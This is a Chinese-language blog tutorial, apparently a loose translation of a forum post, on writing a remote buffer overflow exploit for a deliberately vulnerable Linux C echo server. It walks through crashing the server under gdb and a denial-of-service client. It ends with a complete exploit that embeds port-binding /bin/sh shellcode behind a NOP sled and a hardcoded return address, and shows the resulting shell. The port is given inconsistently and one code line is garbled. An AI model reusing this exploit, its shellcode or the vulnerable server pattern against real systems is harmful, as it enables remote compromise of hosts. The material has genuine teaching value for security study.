教你编写远程溢出EXPLOIT

译者注:想必很多朋友都对缓冲区溢出非常了解了,网上也有很多关于windows下的缓冲区溢出 漏洞 的利用教程(本人也写过几篇)。但是linux下的完整溢出教程我还未看到过(也许是本人眼拙吧)。今天在国外的一个 论坛 发现这篇文章,感觉此文是一个非常不错的基础教程,因此决定翻译出来供大家鉴赏,自己也算是锻炼一下英语翻译吧:-)(其实我是在看完整篇文章后,根据自己的理解写的,几乎一点翻译都没有)
 
译文:
阅读此文前,我假设大家都会用c写一些基本的socket程序而且对本地溢出有所了解。OK!我们先写一个有漏洞服务端程序,代码如下:
 
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>
 
#define BUFFER_SIZE 1024
#define NAME_SIZE 2048
 
int handling(int c)
 
{
char buffer[BUFFER_SIZE], name[NAME_SIZE];
int bytes;
strcpy(buffer, "My name is: ");
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
bytes = recv(c, name, sizeof(name), 0);
if (bytes == -1)
return -1;
name[bytes - 1] = '\0';
sprintf(buffer, "Hello %s, nice to meet you!\r\n", name);//没有做边界检查就直接将name数组copy至buffer数组
bytes = send(c, buffer, strlen(buffer), 0);
if (bytes == -1)
return -1;
return 0;
 
}
 
int main(int argc, char *argv[])
 
{
int s, c, cli_size;
struct sockaddr_in srv, cli;
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
s = socket(AF_INET, SOCK_STREAM, 0);
if (s == -1)
{
perror("socket() failed");
return 2;
}
srv.sin_addr.s_addr = INADDR_ANY;
srv.sin_port = htons( (unsigned short int) atol(argv[1]));
srv.sin_family = AF_INET;
if (bind(s, &srv, sizeof(srv)) == -1)
{
perror("bind() failed");
return 3;
}
if (listen(s, 3) == -1)
{
perror("listen() failed");
return 4;
}
for(;;)
{
c = accept(s, &cli, &cli_size);
if (c == -1)
{
perror("accept() failed");
return 5;
}
printf("client from %s", inet_ntoa(cli.sin_addr));
if (handling(c) == -1)
fprintf(stderr, "%s: handling() failed", argv[0]);
close(c);
}
return 0;
 
}
 
程序非常简单,由命令行获得端口参数,然后在指定的端口监听连接。如下编译和调用此程序:
 
user@linux:~/ > gcc vulnerable.c -o vulnerable
 
user@linux:~/ > ./vulnerable 8080
 
下面我想检查一下这个程序的一些地址,看看它是如何构建的。我们用gdb来调试:
 
user@linux~/ > gdb vulnerable
 
GNU gdb 4.18
 
Copyright 1998 Free Software Foundation, Inc.
 
GDB is free software, covered by the GNU General Public License, and you are
 
welcome to change it and/or distribute copies of it under certain conditions.
 
Type "show copying" to see the conditions.
 
There is absolutely no warranty for GDB. Type "show warranty" for details.
 
This GDB was configured as "i386-suse-linux"...
 
(gdb) run 8080
 
Starting program: /home/user/directory/vulnerable 8080
 
现在程序已经乖乖的在8080端口监听连接了,接着我们用telnet或者netcat连接8080端口看看:
 
user@linux:~/ > telnet localhost 8080
 
Trying ::1...
 
telnet: connect to address ::1: Connection refused
 
Trying 127.0.0.1...
 
Connected to localhost.
 
Escape character is '^]'.
 
My name is: Robin
 
, nice to meet you!
 
Connection closed by foreign host.
 
user@linux:~/ >
 
这个简单的服务端程序只是简单的获得名字然后再将名字回显到屏幕上,让我们继续吧!
 
如上操作后,gdb调试器窗口会有如下信息输出:
 
client from www.2cto.com 0xbffff28c
 
/*不要因为这个地址在你的机器上不同而感到困惑, 因为在我的机器上是这个地址:0xbffff28c */
 
让我们开始测试吧,重新telnet 到8080端口然后在"My name is:..."提示后输入超过1024个字节的字符:
 
user@linux:~/ > telnet localhost 8080
 
Trying ::1...
 
telnet: connect to address ::1: Connection refused
 
Trying 127.0.0.1...
 
Connected to localhost.
 
Escape character is '^]'.
 
My name is:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 
这时你会发现,连接中断了!让我们看看gdb的输出吧:
 
Program received signal SIGSEGV, Segmentation fault.
 
0x41414141 in ?? ()
 
(gdb)
 
// 不要关闭gdb
 
正如我们所看到的,eip的值被置成了0x41414141, 或许你会问为什么?让我试着解释一下吧:
当我们输入了超过1024个字节的字符后,程序会试图将name[2048]拷贝至buffer[1024](译者注:注意看上面原程序中我加注释的那行)这时由于name[2048]比buffer[1024]大出了1024个字节,因此多出的那些个字节会覆盖到buffer[1024]以外的缓冲区包括保存的eip的值(这是函数调用时压入堆栈的返回地址),我们的buffer就会像如下这样:
 
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
 
[xxxxx buffer-only-1024-bytes xxx] [EIP]
 
// 别忘了,eip是4个字节的值
当函数返回时,会从堆栈中将先前保存的eip的值弹出到eip寄存器中并跳转到这个地址继续执行。然而由于我们已经将保存的eip覆盖成了0x41414141,所以程序就会跳到一个错误的地址执行从而引起“segmentation fault”的错误。
 
到这里,我们就可以写出这个漏洞的D.O.S版本的利用程序了:
#include <stdio.h>
 
#include <netinet/in.h>
 
#include <sys/socket.h>
 
#include <sys/types.h>
 
#include <netdb.h>
 
int main(int argc, char **argv)
 
{
 
struct sockaddr_in addr;
 
struct hostent *host;
 
char buffer[2048];
 
int s, i;
 
if(argc != 3)
 
{
 
fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
 
exit(0);
 
}
 
s = socket(AF_INET, SOCK_STREAM, 0);
 
if(s == -1)
 
{
 
perror("socket() failed\n");
 
exit(0);
 
}
 
host = gethostbyname(argv[1]);
 
if( host == NULL)
 
{
 
herror("gethostbyname() failed");
 
exit(0);
 
}
 
addr.sin_addr = *(struct in_addr*)host->h_addr;
 
addr.sin_family = AF_INET;
 
addr.sin_port = htons(atol(argv[2]));
 
if(connect(s, &addr, sizeof(addr)) == -1)
 
{
 
perror("couldn't connect so server\n");
 
exit(0);
 
}
 
/* Not difficult only filling buffer with A’s.... den sending nothing more */
 
for(i = 0; i < 2048 ; i++)
 
buffer[i] = 'A';
 
printf("buffer is: %s\n", buffer);
 
printf("buffer filled... now sending buffer\n");
 
send(s, buffer, strlen(buffer), 0);
 
printf("buffer sent.\n");
 
close(s);
 
return 0;
 
}
为了进一步利用这个漏洞,我们需要找出返回地址的位置。让我们看看如何利用gdb找出返回地址的位置:
 
接着上面的gdb调试窗口(我希望你没关掉它),输入:x200bx $esp-200 ,得到如下的结果:
 
(gdb) x/200bx $esp-200
 
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff5fc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff604: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff60c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff614: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff61c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff624: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff62c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff634: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff63c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff644: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff64c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff654: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
 
---Type <return> to continue, or q <return> to quit---
我们知道我们已经覆盖了整个缓冲区,那么我们从中挑出一个地址来作为返回地址(一会再告诉你为什么这么做),其实这个地址我们是猜的。或许你知道NOP的技巧,这个技巧可以使我们的exploit更好的工作,也可以使我们更容易猜出返回地址来。需要注意的是不要从离快要结束的0x41的那行附近挑,要从中间挑这样我们一会要用NOPS来覆盖它,我们这里挑的是0xbffff5ec这个地址。
 
译者注:这个地方作者并没有很好的说明为什么这么做。其实道理很简单,就拿0xbffff5ec这个地址来说吧,作者将这个地址开始的缓冲区覆盖为NOPS(NOPS滑块),然后再在构造的缓冲区的最后以0xbffff5ec覆盖一块缓冲区,那么肯定会有一个0xbffff5ec覆盖到eip,那么当函数返回时就会跳到0xbffff5ec处执行,而这个地方都是NOP指令,因此会顺着NOPS滑块“滑”到我们的shellcode中。
构造的缓冲区如下所示:
 
|NOPS|NOPS|NOPS|……|shellcode|RET|RET|……|RET|
 
好了我们可以利用我们挑出的这个返回地址(虽然这个地址不一定准确)来构造我们的exploit代码了:
 
1. 找一个主动连接型的shellcode(现如今网络上不缺shellcode)。
 
2.声明一个大于1024字节的新缓冲区,比如1064字节,只要能覆盖到eip即可。
 
3. 用NOP来填充这个缓冲区:memset(buffer, 0x90, 1064);
 
4. 复制shellcode到缓冲区中:memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));在这里我们将shellcode放到了缓冲区的中间位置,为什么要这么做呢?如果在缓冲区的开始部分有足够的NOP指令填充,那么我们shellcode获得执行的机会就更大些了。
 
5. buffer[1000] = 0x90; // 0x90就是NOP的16进制形式
 
6. Let's copy the returnaddress at the end of the buffer
复制返回地址到缓冲区的结尾:
for(i = 1022; i < 1059; i+=4)
 
{
 
((int *) &buffer) = RET;
 
// RET就是返回地址,用#define定义过的
 
}
我们知道,缓冲区是以1024字节结束的,那我们从1022开始复制返回地址,一直复制到1059个字节的位置。
 
7. 在我们构造的这个缓冲区的最后以一个'\0'结束:buffer[1063] = 0x0;
 
缓冲区构造完成,下面就是发送到漏洞主机上了。exploit代码如下:
/* Simple remote exploit, which binds a shell on port 3789
 
* by triton
 
*
 
* After return address was overwritten, you can connect
 
* with telnet or netcat to the victim host on Port 3789
 
* After you logged in... there’s nothing, but try to enter "id;" (don’t forget the semicolon)
 
* So you should get an output, ok you’ve got a shell *g*. Always use:
 
*
 
* <command>;
 
*
 
* execute.
 
*/
 
#include <stdio.h>
 
#include <netdb.h>
 
#include <netinet/in.h>
 
//Portbinding Shellcode
 
char shellcode[] =
 
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
 
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
 
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
 
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
 
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
 
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
 
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
 
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
 
//standard offset (probably must be modified)
 
#define RET 0xbffff5ec
 
int main(int argc, char *argv[]) {
 
char buffer[1064];
 
int s, i, size;
 
struct sockaddr_in remote;
 
struct hostent *host;
 
if(argc != 3) {
 
printf("Usage: %s target-ip port\n", argv[0]);
 
return -1;
 
}
 
// filling buffer with NOPs
 
memset(buffer, 0x90, 1064);
 
//copying shellcode into buffer
 
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));
 
// the previous statement causes a unintential Nullbyte at buffer[1000]
 
buffer[1000] = 0x90;
 
// Copying the return address multiple times at the end of the buffer...
 
for(i=1022; i < 1059; i+=4) {
 
* ((int *) &buffer[i]) = RET;
 
}
 
buffer[1063] = 0x0;
 
//getting hostname
 
host=gethostbyname(argv[1]);
 
if (host==NULL)
 
{
 
fprintf(stderr, "Unknown Host %s\n",argv[1]);
 
return -1;
 
}
 
// creating socket...
 
s = socket(AF_INET, SOCK_STREAM, 0);
 
if (s < 0)
 
{
 
fprintf(stderr, "Error: Socket\n");
 
return -1;
 
}
 
//state Protocolfamily , then converting the hostname or IP address, and getting port number
 
remote.sin_family = AF_INET;
 
remote.sin_addr = *((struct in_addr *)host->h_addr);
 
remote.sin_port = htons(atoi(argv[2]));
 
// connecting with destination host
 
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)
 
{
 
close(s);
 
fprintf(stderr, "Error: connect\n");
 
return -1;
 
}
 
//sending exploit string
 
size = send(s, buffer, sizeof(buffer), 0);
 
if (size==-1)
 
{
 
close(s);
 
fprintf(stderr, "sending data failed\n");
 
return -1;
 
}
 
// closing socket
 
close(s);
 
}
 
编译测试结果如下:
 
user@linux~/ > gcc exploit.c –o exploit
 
user@linux~/ > ./exploit <host> 3879
 
如果成功溢出的话,我们会得到一个shell在3879端口:
 
user@linux~/ > telnet <host> 3879
 
id
 
uid=500(user) gid=500(user) groups=500(user)
 
正如你所看到的,我们成功了!
 
译者注:文章到这里就算完成了,需要注意的是由于文中的exploit中的返回地址是硬编码进去的,所以在不同的机器上有可能因为地址不同而溢出失败。所以大家需要自己手工用gdb调试。这是非常基础的溢出文章了,以后有机会我再搞些更深入一点的溢出文章和大家分享。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值